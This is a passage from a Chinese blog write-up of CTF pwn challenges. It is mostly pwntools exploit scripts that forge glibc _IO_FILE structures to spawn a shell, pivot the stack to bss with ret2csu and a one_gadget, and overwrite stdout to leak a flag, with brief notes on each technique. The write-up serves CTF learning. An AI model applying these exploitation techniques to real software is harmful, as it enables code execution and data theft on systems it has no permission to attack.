    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    #---------------------------
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    def add(content):
        sla('>> ','1')
        sla('Any data?\n',content)
    def edit(idx,content):
        sla('>> ','3')
        sla('Index:',str(idx))
        sla('Content:',content)
    #------------------------
    edit(-8,flat(0xfbad1800,0,0,0,b'\x00'))
    rc(0x648)
    rc(0x1000)
    libc_addr=uu64(ru('\x7f')[-6:])
    if (libc_addr-0x1ed4a0)&0xfff==0x000 :
        libc_base=libc_addr-0x1ed4a0 #_nl_global_locale
    elif (libc_addr-0x1ee7f0)&0xfff==0x000 :
        libc_base=libc_addr-0x1ee7f0 #_IO_stdfile_0_lock
    elif (libc_addr-0x8ff50)&0xfff==0x000 :
        libc_base=libc_addr-0x8ff50 #_IO_new_file_finish
    info("libc_base",libc_base)
    
    system=libc_base+libc.sym['system']
    _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
    stderr=libc_base+libc.sym['_IO_2_1_stderr_']
    #debug()
    
    fake_IO_FILE =b'  sh'
    fake_IO_FILE =fake_IO_FILE.ljust(0x28, b'\x00')+p64(1)
    fake_IO_FILE =fake_IO_FILE.ljust(0x50, b'\x00') + p64(stderr +0x50+0xe0)
    fake_IO_FILE =fake_IO_FILE.ljust(0xa0, b'\x00') + p64(stderr + 0x50)
    fake_IO_FILE =fake_IO_FILE.ljust(0xd8, b'\x00') + p64(_IO_wfile_jumps)
    fake_IO_FILE +=p64(0xfbad1800)+p64(stderr+0x163)*5+p64(stderr+0x164)+p64(stderr+0x163) +p64(stderr+0x164)
    fake_IO_FILE =fake_IO_FILE.ljust(0x50+0xe0, b'\x00') + p64(stderr +0x50+0xe8)
    fake_IO_FILE +=p64(0)*2+p64(stderr-0xc40)+p64(1)+p64(0xffffffffffffffff)+p64(0x0000000043000000)+p64(stderr+0x1220)+p64(0xffffffffffffffff)+p64(0)+p64(stderr-0xd40)
    fake_IO_FILE =fake_IO_FILE.ljust(0x50+0xe0+0x68, b'\x00') +p64(system)
    edit(-4,fake_IO_FILE)
    #debug()
    sl('0')
    #debug()
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69

    WEEK5

    overflow me plz

    依旧是栈迁移到bss段,ret2csu构造wirte来泄露libc,然后one_gadget

    (本来想再次迁移rop来做的,到最后程序也成功执行了system(/bin/sh)了就是没shell)

    from pwn import * 
    local_file  = './pwn'
    local_libc  = '/lib/x86_64-linux-gnu/libc.so.6'
    remote_libc = '/lib/x86_64-linux-gnu/libc.so.6'
    select =0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',29722)
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    #------------------------
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    def csu(rdi,rsi,rdx,function):
        csu_front_addr=0x400740
        csu_end_addr=0x40075A
        payload = b''
        payload += p64(csu_end_addr) + p64(0) + p64(1) + p64(function) + p64(
            rdi) + p64(rsi) + p64(rdx)
        payload += p64(csu_front_addr)
        payload += b'\x00' * 0x38
        return payload
    #-----------------
    bss=0x601040+0x200
    leave_ret=0x00000000004006f7 # leave ; ret
    main_read=0x4006D9
    main=0x400698
    pd=flat('\x00'*0xc0,bss+0xc0,main_read)
    sea('Show me if you can pwn it!\n',pd)
    
    pd1=csu(1,elf.got['write'],0x8,elf.got['write'])+p64(main)
    pd1=pd1.ljust(0xc0,b'\x00')
    pd1+=p64(bss-8)+p64(leave_ret)
    #debug()
    se(pd1)
    libc_base=uu64(ru('\x7f')[-6:])-libc.sym['write']
    info("libc_base",libc_base)
    
    og=[0xe3afe,0xe3b01,0xe3b04]
    se(b'a'*0xc8+p64(libc_base+og[0]))
    
    #system=libc_base+libc.sym['system']
    #pop_rdi=0x0000000000400763
    #ret=0x40050e
    #binsh=libc_base+0x1B45BD
    #pd2=flat('\x00'*0xc0,bss+0xc0,main_read)
    #debug()
    #sea('Show me if you can pwn it!\n',pd2)
    #pop_rsi_r15=0x400761
    #pd3=flat(ret,pop_rdi,binsh,system)
    #pd3.ljust(0xc0,b'\x00') 
    #pd3+=p64(bss-8)+p64(leave_ret)
    #debug()
    #se(pd3)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    leak me plz

    程序在0x233000的地址读入了flag

    告诉了我们libc地址,还有任意地址写0x38长度

    打stdout改p64(0xfbad1800)+p64(0)*3+p64(mmap)+p64(mmap+0x40)+p64(0)

    遇到puts会打印从mmap到mmap+0x40)的值

    from pwn import * 
    local_file  = './pwn'
    local_libc  = './libc-2.31.so'
    remote_libc = './libc-2.31.so'
    select = 0
    if select == 0:
        r = process(local_file)
        libc = ELF(local_libc)
    elif select == 1:
        r = remote('node4.buuoj.cn',25904 )
        libc = ELF(remote_libc)
    elf = ELF(local_file)
    context.log_level = 'debug'
    context.arch = elf.arch
    se      = lambda data               :r.send(data) 
    sa      = lambda delim,data         :r.sendafter(delim, data)
    sl      = lambda data               :r.sendline(data)
    sla     = lambda delim,data         :r.sendlineafter(delim, data)
    sea     = lambda delim,data         :r.sendafter(delim, data)
    rc      = lambda numb=4096          :r.recv(numb)
    rl      = lambda                    :r.recvline()
    ru      = lambda delims 			:r.recvuntil(delims)
    uu32    = lambda data               :u32(data.ljust(4, b'\0'))
    uu64    = lambda data               :u64(data.ljust(8, b'\0'))
    info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
    def debug(cmd=''):
         gdb.attach(r,cmd)
         pause()
    #------------------------
    mmap=0x233000
    ru('Here is your gift: 0x')
    libc_base=int(rc(12),16)-libc.sym['puts']
    info("libc_base",libc_base)
    stdout=libc_base+0x1ed6a0
    #debug()
    se(p64(stdout))
    #debug()
    payload=p64(0xfbad1800)+p64(0)*3+p64(mmap)+p64(mmap+0x40)+p64(0)
    se(payload)
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40

    小结

    还有5道题没整出来,记录一下,有空再整,分别为:

    这是堆🐎

    KMario

    code me plz

    Farewell

    orw me plz

    其实可加一下这比赛群,剩下几道题群文件里有,找夜悠师傅

  • 相关阅读:
    vue3 组件篇 Carousel
    JavaScript-----元素可视区client
    2017-2022年中国地方ZF数据开放指数数据/历年开放数林指数数据集(省域指数、城市指数)
    【问题解决】Debian更新源提示InRelease已过期
    《低代码指南》——如何用维格表实现餐饮数字化
    链表
    shell中hiveSQL的split
    研发效能DevOps: OpenEuler 部署 drone 持续集成平台
    SQL力扣刷题七
    STM32 Cube MX以及STM32 H750 XBH6新建工程,HAL库,LL库
  • 原文地址:https://blog.csdn.net/m0_51251108/article/details/127924823